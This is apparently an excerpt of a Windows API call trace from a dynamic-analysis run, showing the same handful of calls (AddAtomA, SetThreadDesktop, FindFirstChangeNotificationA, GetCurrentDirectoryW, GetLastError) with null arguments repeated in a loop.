[0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.089] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.089] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.089] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.089] GetLastError () returned 0x3 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.089] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.089] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.089] GetLastError () returned 0x3 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.089] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.089] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.089] GetLastError () returned 0x3 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.089] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.089] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.089] GetLastError () returned 0x3 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] AddAtomA (lpString=0x0) returned 0x0 [0118.089] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.089] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.090] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.090] GetLastError () returned 0x3 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.090] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.090] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.090] GetLastError () returned 0x3 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.090] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.090] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.090] GetLastError () returned 0x3 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.090] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.090] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.090] GetLastError () returned 0x3 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.090] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.090] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.090] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.090] GetLastError () returned 0x3 [0118.090] AddAtomA (lpString=0x0) returned 0x0 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.091] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.091] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.091] GetLastError () returned 0x3 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.091] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.091] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.091] GetLastError () returned 0x3 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.091] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.091] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.091] GetLastError () returned 0x3 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] AddAtomA (lpString=0x0) returned 0x0 [0118.091] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.091] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.091] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.092] GetLastError () returned 0x3 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.092] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.092] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.092] GetLastError () returned 0x3 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.092] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.092] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.092] GetLastError () returned 0x3 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.092] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.092] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.092] GetLastError () returned 0x3 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.092] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.092] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.092] GetLastError () returned 0x3 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.092] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.092] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.092] GetLastError () returned 0x3 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] AddAtomA (lpString=0x0) returned 0x0 [0118.092] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.093] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.093] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.093] GetLastError () returned 0x3 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.093] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.093] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.093] GetLastError () returned 0x3 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.093] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.093] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.093] GetLastError () returned 0x3 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.093] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.093] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.093] GetLastError () returned 0x3 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.093] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.093] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.093] GetLastError () returned 0x3 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.093] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.093] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.093] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.093] GetLastError () returned 0x3 [0118.093] AddAtomA (lpString=0x0) returned 0x0 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.474] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.474] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.474] GetLastError () returned 0x3 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.474] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.474] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.474] GetLastError () returned 0x3 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.474] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.474] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.474] GetLastError () returned 0x3 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] AddAtomA (lpString=0x0) returned 0x0 [0118.474] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.475] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.475] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.475] GetLastError () returned 0x3 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.475] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.475] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.475] GetLastError () returned 0x3 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.475] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.475] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.475] GetLastError () returned 0x3 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.475] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.475] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.475] GetLastError () returned 0x3 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.475] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.475] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.475] GetLastError () returned 0x3 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.475] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.475] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.475] GetLastError () returned 0x3 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.475] AddAtomA (lpString=0x0) returned 0x0 [0118.476] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.476] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.476] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.476] GetLastError () returned 0x3 [0118.476] AddAtomA (lpString=0x0) returned 0x0 [0118.476] AddAtomA (lpString=0x0) returned 0x0 [0118.476] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.476] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.476] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.476] GetLastError () returned 0x3 [0118.476] AddAtomA (lpString=0x0) returned 0x0 [0118.476] AddAtomA (lpString=0x0) returned 0x0 [0118.476] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.476] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.476] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.476] GetLastError () returned 0x3 [0118.476] AddAtomA (lpString=0x0) returned 0x0 [0118.476] AddAtomA (lpString=0x0) returned 0x0 [0118.476] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.476] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.476] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.477] GetLastError () returned 0x3 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.477] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.477] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.477] GetLastError () returned 0x3 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.477] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.477] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.477] GetLastError () returned 0x3 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.477] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.477] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.477] GetLastError () returned 0x3 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.477] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.477] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.477] GetLastError () returned 0x3 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.477] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.477] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.477] GetLastError () returned 0x3 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] AddAtomA (lpString=0x0) returned 0x0 [0118.477] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.477] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.478] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.478] GetLastError () returned 0x3 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.478] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.478] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.478] GetLastError () returned 0x3 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.478] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.478] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.478] GetLastError () returned 0x3 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.478] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.478] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.478] GetLastError () returned 0x3 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.478] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.478] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.478] GetLastError () returned 0x3 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] AddAtomA (lpString=0x0) returned 0x0 [0118.478] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.478] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.479] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.479] GetLastError () returned 0x3 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.479] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.479] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.479] GetLastError () returned 0x3 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.479] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.479] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.479] GetLastError () returned 0x3 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.479] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.479] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.479] GetLastError () returned 0x3 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.479] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.479] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.479] GetLastError () returned 0x3 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.479] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.479] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.479] GetLastError () returned 0x3 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] AddAtomA (lpString=0x0) returned 0x0 [0118.479] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.480] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.480] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.480] GetLastError () returned 0x3 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.480] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.480] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.480] GetLastError () returned 0x3 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.480] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.480] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.480] GetLastError () returned 0x3 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.480] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.480] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.480] GetLastError () returned 0x3 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.480] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.480] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.480] GetLastError () returned 0x3 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] AddAtomA (lpString=0x0) returned 0x0 [0118.480] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.480] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.480] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.481] GetLastError () returned 0x3 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.481] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.481] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.481] GetLastError () returned 0x3 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.481] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.481] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.481] GetLastError () returned 0x3 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.481] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.481] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.481] GetLastError () returned 0x3 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.481] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.481] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.481] GetLastError () returned 0x3 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.481] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.481] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.481] GetLastError () returned 0x3 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] AddAtomA (lpString=0x0) returned 0x0 [0118.481] SetThreadDesktop (hDesktop=0x0) returned 0 